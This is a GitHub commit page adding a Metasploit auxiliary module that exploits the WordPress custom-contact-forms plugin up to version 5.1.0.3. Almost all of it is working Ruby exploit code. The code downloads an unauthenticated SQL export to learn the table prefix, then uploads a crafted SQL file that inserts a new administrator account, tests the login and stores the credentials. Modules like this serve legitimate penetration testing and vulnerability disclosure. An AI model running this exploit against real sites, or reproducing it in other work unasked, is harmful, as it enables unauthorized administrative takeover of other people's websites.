Skip to content

Commit 21b2d9e

Browse files
committed
Land rapid7#3899 - WordPress custom-contact-forms Plugin SQL Upload
2 parents 9e5826c + c51c19c commit 21b2d9e

File tree

1 file changed

+115
-0
lines changed

1 file changed

+115
-0
lines changed
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class Metasploit3 < Msf::Auxiliary
7+
include Msf::Auxiliary::Report
8+
include Msf::HTTP::Wordpress
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'WordPress custom-contact-forms Plugin SQL Upload',
13+
'Description' => %q{
14+
The WordPress custom-contact-forms plugin <= 5.1.0.3 allows unauthenticated users to download
15+
a SQL dump of the plugins database tables. It's also possible to upload files containing
16+
sql statements which will be executed. The module first tries to extract the WordPress
17+
table prefix from the dump and then attempts to create a new admin user.
18+
},
19+
'Author' =>
20+
[
21+
'Marc-Alexandre Montpas', # Vulnerability discovery
22+
'Christian Mehlmauer' # Metasploit module
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
[ 'URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html' ],
28+
[ 'URL', 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail=' ]
29+
],
30+
'DisclosureDate' => 'Aug 07 2014'
31+
))
32+
end
33+
34+
def get_sql(table_prefix, username, password)
35+
# create user
36+
sql = "INSERT INTO #{table_prefix}users (user_login, user_pass) VALUES ('#{username}','#{Rex::Text.md5(password)}');"
37+
# make user administrator
38+
sql << "INSERT INTO #{table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ((select id from #{table_prefix}users where user_login='#{username}'),'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}'),((select id from #{table_prefix}users where user_login='#{username}'),'wp_user_level','10');"
39+
40+
sql
41+
end
42+
43+
def get_table_prefix
44+
res = send_request_cgi({
45+
'uri' => normalize_uri(wordpress_url_backend, 'admin-post.php'),
46+
'method' => 'POST',
47+
'vars_post' => {
48+
'ccf_export' => "1"
49+
}
50+
})
51+
return nil if res.nil? || res.code != 302 || res.headers['Location'] !~ /\.sql$/
52+
53+
file = res.headers['Location']
54+
res_file = send_request_cgi('uri' => file)
55+
return nil if res_file.nil? || res_file.code != 200 || res_file.body.nil?
56+
57+
match = res_file.body.match(/insert into `(.+_)customcontactforms_fields`/i)
58+
return nil if match.nil? || match.length < 2
59+
60+
table_prefix = match[1]
61+
table_prefix
62+
end
63+
64+
def run
65+
username = Rex::Text.rand_text_alpha(10)
66+
password = Rex::Text.rand_text_alpha(20)
67+
68+
print_status("#{peer} - Trying to get table_prefix")
69+
table_prefix = get_table_prefix
70+
if table_prefix.nil?
71+
print_error("#{peer} - Unable to get table_prefix")
72+
return
73+
else
74+
print_status("#{peer} - got table_prefix '#{table_prefix}'")
75+
end
76+
77+
data = Rex::MIME::Message.new
78+
data.add_part(get_sql(table_prefix, username, password), 'text/plain', nil, "form-data; name=\"import_file\"; filename=\"#{Rex::Text.rand_text_alpha(5)}.sql\"")
79+
data.add_part('1', nil, nil, 'form-data; name="ccf_merge_import"')
80+
post_data = data.to_s
81+
82+
print_status("#{peer} - Inserting user #{username} with password #{password}")
83+
uri = normalize_uri(wordpress_url_backend, 'admin-post.php')
84+
res = send_request_cgi(
85+
'method' => 'POST',
86+
'uri' => uri,
87+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
88+
'data' => post_data
89+
)
90+
91+
if res.nil? || res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms'
92+
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
93+
end
94+
95+
# test login
96+
cookie = wordpress_login(username, password)
97+
98+
# login successfull
99+
if cookie
100+
print_status("#{peer} - User #{username} with password #{password} successfully created")
101+
report_auth_info(
102+
sname: 'WordPress',
103+
host: rhost,
104+
port: rport,
105+
user: username,
106+
pass: password,
107+
active: true
108+
)
109+
else
110+
print_error("#{peer} - User creation failed")
111+
return
112+
end
113+
end
114+
115+
end

0 commit comments

Comments
 (0)